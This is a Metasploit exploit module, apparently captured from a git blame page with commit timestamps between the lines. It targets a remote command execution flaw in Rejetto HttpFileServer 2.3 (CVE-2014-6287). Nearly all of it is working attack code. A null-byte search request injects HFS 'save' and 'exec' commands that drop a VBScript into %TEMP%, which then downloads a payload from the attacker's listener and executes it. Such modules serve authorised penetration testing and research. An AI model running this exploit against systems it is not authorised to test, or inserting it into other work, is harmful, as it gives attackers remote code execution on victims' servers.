2014-09-14 04:26:02 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2014-09-14 04:26:02 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-10-08 17:12:00 +00:00
|
|
|
Rank = ExcellentRanking
|
2014-09-14 04:26:02 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-09-14 17:43:18 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer
|
2014-09-20 07:31:28 +00:00
|
|
|
include Msf::Exploit::EXE
|
2014-09-20 02:52:21 +00:00
|
|
|
include Msf::Exploit::FileDropper
|
2014-09-14 04:26:02 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2014-10-08 15:36:56 +00:00
|
|
|
'Name' => "Rejetto HttpFileServer Remote Command Execution",
|
2014-09-14 04:26:02 +00:00
|
|
|
'Description' => %q{
|
2014-10-08 15:36:56 +00:00
|
|
|
Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a
|
2014-10-14 17:00:50 +00:00
|
|
|
poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by
|
2014-10-08 15:36:56 +00:00
|
|
|
using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b
|
|
|
|
over Windows XP SP3, Windows 7 SP1 and Windows 8.
|
2014-09-14 04:26:02 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2014-09-14 17:43:18 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
2014-09-15 04:59:27 +00:00
|
|
|
'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery
|
2014-09-14 17:43:18 +00:00
|
|
|
'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module
|
|
|
|
],
|
2014-09-14 04:26:02 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2014-09-15 05:13:25 +00:00
|
|
|
['CVE', '2014-6287'],
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '111386'],
|
2018-09-15 23:54:45 +00:00
|
|
|
['URL', 'https://seclists.org/bugtraq/2014/Sep/85'],
|
2014-10-08 15:29:59 +00:00
|
|
|
['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands']
|
2014-09-14 04:26:02 +00:00
|
|
|
],
|
2014-09-14 17:43:18 +00:00
|
|
|
'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
|
2014-09-14 04:26:02 +00:00
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2014-10-08 16:08:01 +00:00
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
2014-09-15 09:21:05 +00:00
|
|
|
'DisclosureDate' => "Sep 11 2014",
|
2014-09-14 04:26:02 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2014-09-14 17:43:18 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
|
|
|
|
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-09-14 04:26:02 +00:00
|
|
|
end
|
|
|
|
|
2014-09-15 04:59:27 +00:00
|
|
|
def check
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => '/'
|
|
|
|
})
|
|
|
|
|
2014-10-08 17:03:16 +00:00
|
|
|
if res && res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/
|
|
|
|
version = $1
|
|
|
|
if Gem::Version.new(version) <= Gem::Version.new("2.3")
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2014-09-15 04:59:27 +00:00
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-09-14 04:26:02 +00:00
|
|
|
def on_request_uri(cli, req)
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Payload request received: #{req.uri}")
|
2014-09-14 04:26:02 +00:00
|
|
|
exe = generate_payload_exe
|
2014-09-14 17:43:18 +00:00
|
|
|
vbs = Msf::Util::EXE.to_exe_vbs(exe)
|
|
|
|
send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'})
|
2014-09-19 03:30:51 +00:00
|
|
|
# remove resource after serving 1st request as 'exec' execute 4x
|
|
|
|
# during exploitation
|
2014-10-08 15:36:56 +00:00
|
|
|
remove_resource(get_resource)
|
2014-09-14 04:26:02 +00:00
|
|
|
end
|
|
|
|
|
2015-10-13 22:56:18 +00:00
|
|
|
def autofilter
|
|
|
|
true
|
|
|
|
end
|
|
|
|
|
2014-09-14 04:26:02 +00:00
|
|
|
def primer
|
2014-09-14 17:43:18 +00:00
|
|
|
file_name = rand_text_alpha(rand(10)+5)
|
2014-09-15 05:13:25 +00:00
|
|
|
file_ext = '.vbs'
|
2014-10-08 15:36:56 +00:00
|
|
|
file_full_name = file_name + file_ext
|
2014-10-08 17:12:00 +00:00
|
|
|
vbs_path = "%TEMP%\\#{file_full_name}"
|
2014-09-14 17:43:18 +00:00
|
|
|
|
2014-10-08 15:36:56 +00:00
|
|
|
vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a"
|
|
|
|
vbs_code << "On Error Resume Next\x0d\x0a"
|
|
|
|
vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a"
|
|
|
|
vbs_code << "If Err.Number <> 0 Then\x0d\x0a"
|
|
|
|
vbs_code << "wsh.exit\x0d\x0a"
|
|
|
|
vbs_code << "End If\x0d\x0a"
|
|
|
|
vbs_code << "x.Send\x0d\x0a"
|
|
|
|
vbs_code << "Execute x.responseText"
|
2014-09-14 17:43:18 +00:00
|
|
|
|
2014-09-15 04:59:27 +00:00
|
|
|
payloads = [
|
2014-10-08 17:12:00 +00:00
|
|
|
"save|#{vbs_path}|#{vbs_code}",
|
|
|
|
"exec|wscript.exe //B //NOLOGO #{vbs_path}"
|
2014-09-15 04:59:27 +00:00
|
|
|
]
|
2014-09-14 17:43:18 +00:00
|
|
|
|
2014-09-14 04:26:02 +00:00
|
|
|
print_status("Sending a malicious request to #{target_uri.path}")
|
2014-10-08 15:36:56 +00:00
|
|
|
payloads.each do |payload|
|
2014-10-08 17:12:00 +00:00
|
|
|
send_request_raw({
|
2014-09-15 04:59:27 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/?search=%00{.#{URI::encode(payload)}.}"
|
2014-10-08 17:03:16 +00:00
|
|
|
})
|
2014-10-08 15:36:56 +00:00
|
|
|
end
|
2014-10-08 17:12:00 +00:00
|
|
|
register_file_for_cleanup(vbs_path)
|
2014-09-14 04:26:02 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
begin
|
|
|
|
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
2014-10-08 17:12:00 +00:00
|
|
|
rescue Timeout::Error
|
2014-09-14 04:26:02 +00:00
|
|
|
# When the server stops due to our timeout, this is raised
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|